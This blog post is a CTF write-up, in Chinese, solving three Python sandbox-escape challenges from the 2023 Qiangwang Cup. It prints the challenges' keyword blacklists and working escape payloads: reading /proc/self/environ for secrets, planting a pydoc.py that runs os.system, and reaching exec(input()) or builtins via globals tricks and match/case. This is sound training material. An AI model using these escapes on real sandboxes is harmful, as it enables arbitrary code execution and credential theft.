🍊 2023 强网杯三道 pyjail 的题解
这是橘子杀手的第 56 篇文章
题图摄于:济州岛 · 城山日出峰
上周的强网杯 2023 没准备参加,一个是去年帮忙打 ctf 打得实在是有点累了;第二个是上周末有其他比赛冲突了,所以也没时间看题。偶然在公众号推送上看到了强网杯的 wp 提到了有几道 python 题,还是忍不住来玩一玩。
不确定有没有遗漏,好像一共是三道 python 题目,并且都是 pyjail 类型的。自从上次我写了那篇《Python 沙箱逃逸的通解探索之路》之后,感觉很多同类题目都可以秒了,似乎一直都没有更极限的题目出现了,这次不妨一起来看看这次强网杯会不会让人眼前一亮呢。
☁️ Pyjail: It's myFILTER!!!
题目代码如下:
import
code, os, subprocess
import
pty
def
blacklist_fun_callback
(*args)
:
print(
"Player! It's already banned!"
)
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec
= blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
del
os, subprocess, code, pty, blacklist_fun_callback
input_code = input(
"Can u input your code to escape > "
)
blacklist_words = [
'subprocess'
,
'os'
,
'code'
,
'interact'
,
'pty'
,
'pdb'
,
'platform'
,
'importlib'
,
'timeit'
,
'imp'
,
'commands'
,
'popen'
,
'load_module'
,
'spawn'
,
'system'
,
'/bin/sh'
,
'/bin/bash'
,
'flag'
,
'eval'
,
'exec'
,
'compile'
,
'input'
,
'vars'
,
'attr'
,
'dir'
,
'getattr'
,
'__import__'
,
'__builtins__'
,
'__getattribute__'
,
'__class__'
,
'__base__'
,
'__subclasses__'
,
'__getitem__'
,
'__self__'
,
'__globals__'
,
'__init__'
,
'__name__'
,
'__dict__'
,
'._module'
,
'builtins'
,
'breakpoint'
,
'import'
]
def
my_filter
(input_code)
:
for
x
in
blacklist_words:
if
x
in
input_code:
return
False
return
True
while
(
"{"
in
input_code
and
"}"
in
input_code
and
input_code.isascii()
and
my_filter(input_code)
and
"eval"
not
in
input_code
and
len(input_code) <
65
):
input_code = eval(
f"f'
{input_code}
'"
)
else
:
print(
"Player! Please obey the filter rules which I set!"
)
这道题常规的解法是比较简单的,一眼扫过去,基础 exp 的 open
不在过滤列表里,那当然是先尝试读一下当前目录、根目录、环境变量之类的看看有没有 flag 再说。至于回显嘛,由于我没实际在官方环境中测试,这个代码看起来像是可以直接 nc 过去做的,如果是这样的话,那利用报错或者是直接 print 结果其实都可以的。看了下网上的 wp,证明 flag 的确是在环境变量里,所以 exp 就是:{print(open("/proc/self/environ").read())}
。如果是在比赛的话,到这里就结束了,赶紧下一道吧。
但作为黑客,实现 RCE 是永远的诱惑。这道题莫非只能读文件么?
🌧 分析
我们先来分析一下这里的限制条件:
(做的过程中发现出题人在写 blacklist_words
的时候,"getattr" "__import__",
之间漏了一个 ,
,这直接导致 blacklist_words 中没有 getattr
和 __import__
,不知道是不是故意的,不过这里我们就当这里有逗号好了。)
❄️ 内置模块的方法劫持
首先,由于 os.system
等内置模块的方法被劫持到 blacklist_fun_callback
了,所以即使我们 exp 中可以 import os
,拿到的 os.system
也依旧是 blacklist_fun_callback
,原因在于橘友们小学 5 年级就知道的 Python 模块导入的缓存机制。为了确保模块单例以及支持模块重用机制,在执行 import 的时候,如果模块是第一次导入,python 会在导入模块的同时把模块名称保存在 sys.modules
这个字典里;如果在导入模块的时候发现它已经在这个字典里了,就会直接返回 sys.modules
中模块对应的值。在这个缓存机制的影响下,题目中修改了众多内置模块的方法,比如 subprocess.Popen
,那就意味着后续所有代码中间接使用到的 subprocess.Popen
也会被劫持。例如,橘友们小学 5 年级就知道 help()
可以用来做 python 沙箱逃逸,原因是因为背后执行了 more
,在 more 里可以用 !
来执行任意命令,比如 !id
。但可能少为人知的是,help()
背后是 pydoc
,在 pydoc.py
中使用了 subprocess.Popen
或者 os.system
(win 平台)
如果要解决这个问题,最简单的方式就是删除 sys.modules
中的 subprocess
,然后重新 import 一次。
❄️ 内置函数劫持
vars
等内置方法也被劫持到 blacklist_fun_callback
了。但这里与上面不同,这个修改并不会影响其他模块的 vars。因为 python 查找变量的顺序是 LEGB 法则,因此 vars 变量的顺序是先从本地命名空间开始,然后是包含它的模块的命名空间,最后是内置命名空间。由于其他模块中没有局部或模块级别的 vars 定义,所以它们内部会使用 __builtins__
中的原始 vars 函数。如果我们想对内置函数做与上面相同的劫持,应该使用 __builtins__.vars = blacklist_fun_callback
。
如果想在当前上下文中恢复这些内置函数,只需要清空 locals()
或者 globals()
即可(这里它们是一个东西,因为我们的 exp 是在模块层级上执行的,因此 locals()
和 globals()
是同一个字典),这样一来,python 按照 LEGB 法则就会找到 B 的 vars。
❄️ 其他
这些相对比较常规:
-
exp 中不能出现 blacklist_words
的所有关键字 -
eval
不能出现在 exp 里 -
exp 所有字符必须全部为 ascii 码 -
exp 长度最长为 64
🌧 思路 1:常规沙箱逃逸
我们注意到代码中 eval(f"f'{input_code}'")
使用了两层 f-string,不但本身可以直接执行任意代码,也可以通过单引号来进行代码注入。这就意味着直接通过 {eval("1+1")}
来执行任意代码,但由于 blacklist_words 的限制,所以通常会想到用 Unicode 变量名,但是 while 里做了限制,此路不通;还有就是搞一个字符串出来做分隔,例如 f'{ev''al("1+1")}'
,但这也有新的问题,我们为了生成 eval,又加入了 f-string,而 f-string 中如果用到 {}
,则字符串必须是连续的,例如 f'{1*' + f'1}'
是会报错的。
加上其他条件的严格限制(尤其是长度和对方法进行劫持),常规沙箱逃逸的 payload 均宣告出局。同时,我也用之前写的自动化挖掘工具跑了一下,发现的确找不到:
到这里就应该换个思路了。
🌧 思路 2:覆盖模块
虽然我们没有办法直接 import,但是通过执行内置的一些函数可以实现间接执行 import。上面提到,help()
由于 subprocess.Popen
被劫持导致无法正常执行,其实这里我们也可以用这个思路,经过代码分析,在 python 的 /lib/python3.9/_sitebuiltins.py
中发现有 import pydoc
:
而 open 又不受限制,这就意味我们只需要在执行目录下创建一个 pydoc.py
,往里面写要执行的代码即可实现任意代码执行,也就意味着实现了 RCE:
# 首先创建文件并覆盖内容,第一批写入文件内容为
# __import__("importlib"
''
{open(
"pydoc.py"
,
"w"
).write(
'__im'
'port__("im'
'portlib"'
)}
''
# 继续写入
# ).reload(__import__("os"
''
{open(
"pydoc.py"
,
"a"
).write(
').reload(__im'
'port__("o'
's"'
)}
''
# 继续写入
# )).system("whoami")
''
{open(
"pydoc.py"
,
"a"
).write(
')).sys'
'tem("whoami")'
)}
''
pydoc.py
写入完毕之后,再次运行题目代码,只需要输入 {help()}
即可执行设定好的代码:
至此,我们实现了 RCE。至于 pydoc.py
内容怎么写,玩法就很多了,这里不展开了。
🌧 思路 3:利用循环+覆盖函数
如果 open
也无法使用呢?
由于题目中使用了 while
,因此 eval 生成的值又会被赋给 input_code 重新参与 eval,那如果我们在第一轮循环中只要操作得当,就可以用一行输入来影响第二轮循环中 while 的判断,同时把最终 exp 传递给第二轮循环的 eval。
-
"{" in input_code and "}" in input_code
-
input_code.isascii()
-
my_filter(input_code)
-
"eval" not in input_code
-
len(input_code) < 650
我们先来分析一下:
-
条件 1、2、4 都是无能为力的,因为 input_code 作为内建类型,魔术方法( .__contains__
)由于是由 Python 解释器在底层实现的,因此是不允许修改的。 -
条件 3、5 我们可以动手脚, my_filter
、len
都可以覆盖,需要一个参数,并且返回值必须为 True
所以,在第一轮的 exp 里我们需要把 globals()
清空,然后再把 my_filter
加上,最后利用题目中的 eval 来返回第二轮的 exp。那么问题来了,第二轮的 exp 应该是什么呢?
在第二轮的时候,经过第一轮的 eval,就只需要满足条件 1、2、4 即可,并且由于我们清空了 globals()
,导致内置函数都恢复了,可谓是一箭双雕。这样我们就可以用 exec(input())
来执行任意代码了。
由于第一轮 eval 必须返回字符串(主要是条件 2 的限制),所以我们可以用一个列表之类的东西来同时执行代码和返回需要的 exp(这个技巧其实之前也介绍过了):
'''
{
(
"{exec(input())}",
globals().clear(),
globals().update({"my_filter": id})
)[0]
}
'''
{(
"{ex"
"ec(in"
"put())}"
,globals().clear(),globals().update({
"my_filter"
:id}))[
0
]}
蛮吊蛮吊,但是长度太长了,81 个字符,距离 64 个字符还有点距离,因此我们尝试来缩短长度。
-
首先 globals()
与locals()
在这里是等价的,但后者少一个字符,换! -
其次 "{ex""ec(in""put())}"
可以换成{"{break""point()}"}
-
只要返回字符串,不一定就得用列表或者元组,用条件表达式也可以,比如 or
于是可以得到一个长度为 74、73 的 exp:
'''
{
locals().clear() or
locals().update({"my_filter": id}) or
"{break""point()}"
}
'''
# len == 74
{locals().clear()
or
locals().update({
"my_filter"
:id})o
r"{break"
"point()}"
}
# len == 73
{
",break"
"point()#{}"
,locals().clear(),locals().update({
"my_filter"
:id})}
感觉这个长度已经是极限了。然后我突然意识到,出题人为了避免自身代码受到影响,并没有劫持所有高危的内置函数,比如 eval
,所以我又搞了个符合长度要求但是不满足条件的 exp:{["{ev""al(print(1))}",locals().update({"my_filter":id})][0]}
,因为第二轮 exp 中会出现 eval
,而出题人在 while
里特别关照了 eval
。那么还有哪些内置函数,出题人没有为了保障题目自身不出问题而没有劫持呢?答案就是 input()
。
在第二轮里我们可以通过 input 来引入额外的输入,输入的时候再引入 {}
,从而通过内层的 f-string 以及配合外层的 eval 进行代码执行。这样第二轮执行的原型为:
继续倒推回去第一轮,由于 input 没有被劫持,所以连 locals().clear()
也可以省略,因此 exp 长度就可以大幅缩减:
'''
{
(
"{input()}",
locals().update({"my_filter": id})
)[0]
}
'''
{locals().update({
"my_filter"
:id})o
r"{in"
"put()}"
}
长度仅为 50!蛮吊蛮吊。
至此,我们不用写文件,也可以实现任意命令执行。
☁️ Pyjail: It's myRevenge !!!
肉眼扫了下,好像和原来的没啥大区别。经过 diff 发现,作者修复了缺少逗号的问题:
但别的都没变。所以我猜测出题人这里可能对 flag 的位置做了调整,从环境变量中移动到其他未知文件名的文件去了。那这里还是要 rce 嘛,上面已经实现了,哈哈哈,所以这里就不再看了。
☁️ Pyjail: It's myAST !!!!
题目代码:
import
ast
BAD_ATS = {
ast.Attribute,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
BUILTINS = {
"bool"
: bool,
"set"
: set,
"tuple"
: tuple,
"round"
: round,
"map"
: map,
"len"
: len,
"bytes"
: bytes,
"dict"
: dict,
"str"
: str,
"all"
: all,
"range"
: range,
"enumerate"
: enumerate,
"int"
: int,
"zip"
: zip,
"filter"
: filter,
"list"
: list,
"max"
: max,
"float"
: float,
"divmod"
: divmod,
"unicode"
: str,
"min"
: min,
"range"
: range,
"sum"
: sum,
"abs"
: abs,
"sorted"
: sorted,
"repr"
: repr,
"object"
: object,
"isinstance"
: isinstance,
}
def
is_safe
(code)
:
if
type(code)
is
str
and
"__"
in
code:
return
False
for
x
in
ast.walk(compile(code,
"<QWB7th>"
,
"exec"
, flags=ast.PyCF_ONLY_AST)):
if
type(x)
in
BAD_ATS:
return
False
return
True
if
__name__ ==
"__main__"
:
user_input =
""
while
True
:
line = input()
if
line ==
""
:
break
user_input += line
user_input +=
"n"
if
is_safe(user_input)
and
len(user_input) <
1800
:
exec(user_input, {
"__builtins__"
: BUILTINS}, {})
老规矩先分析下限制:
-
"__"
不能出现在代码里 -
通过 ast 检查代码的抽象语法树,黑名单位于 BAD_ATS
-
通过指定 exec
的第二个参数,将代码执行的globals()
重置为只有个__builtins__
,并将具体的内置方法指定为BUILTINS
的值
第一个条件有绕过的可能性,用 Unicode 字符 __
。第二个条件是无法正面绕过的,因为 ast 本身就是 python 执行过程中的中间产物,只能说看看有没有出题人没覆盖到的 ast 节点然后再利用;第三个条件,如果可以访问到非当前模块的命名空间,就可以拿到正常的内置方法了,但是必须的获取属性,或者用 Subscript 之类做替代,但这都被禁用了。。。
所以常规的沙箱逃逸 exp 可以说是都被堵死了。
翻阅了下官方文档:https://docs.python.org/zh-cn/3/library/ast.html
看起来除了 match 相关的语法之外,没有其他能用的东西了。但是这个是在 py3.10 中引入的,我不确定大家做题的时候出题人是否有提示所用的 python 版本,我这没有环境尝试所以也判断不了,这里权当出题人是这么出的吧。
根据 pep 里的示例 https://peps.python.org/pep-0636/#abstract
可以得知两个关键的知识点:
-
可以通过指定关键字参数来获取 match 的属性 -
匹配的逻辑是判断 match 是否为 case 的子类
通过知识点 1,就可以获取参数了!比如 object.__subclasses__
就可以通过
match object:
case
object(__subclasses__=a):
(a)
来获取。以此类推,那这题就变成了常规的沙箱逃逸了。由于出题人限制了代码长度,因此我们可以用 dibber 来找一个比较短的继承链,比如:
那么对于 exp object.__subclasses__()[122].append.__globals__['__builtins__']
就可以变形为:
# object.__subclasses__()[122].append.__globals__['__builtins__']
match object:
case
object(__subclasses__=a):
# a: object.__subclasses__
pass
match a():
case
list(pop=p):
# p: object.__subclasses__().pop
pass
match p(int( str(len([[]]))+str(len(str(dict(oooooooooooooo=())))) )):
case
object(append=m):
# m: object.__subclasses__()[122].append
pass
match m:
case
object(__globals__=g):
# m: object.__subclasses__()[122].append.__globals__
pass
match g:
case
object(__getitem__=p):
pass
match p(max(list(dict(__builtins__=())))):
case
object(__getitem__=q):
# 本质上执行的是 exec(input())
q(max(list(dict(
exec
=()))))(q(max(list(dict(input=()))))(), p(max(list(dict(__builtins__=())))))
进而实现命令执行:
完结撒花,这三道题整体难度不算很高。
这应该是今年最后一篇文章了
时间过得真快!
提前祝橘友们元旦快乐嗷!
原文始发于微信公众号(橘子杀手):2023 强网杯三道 pyjail 的题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论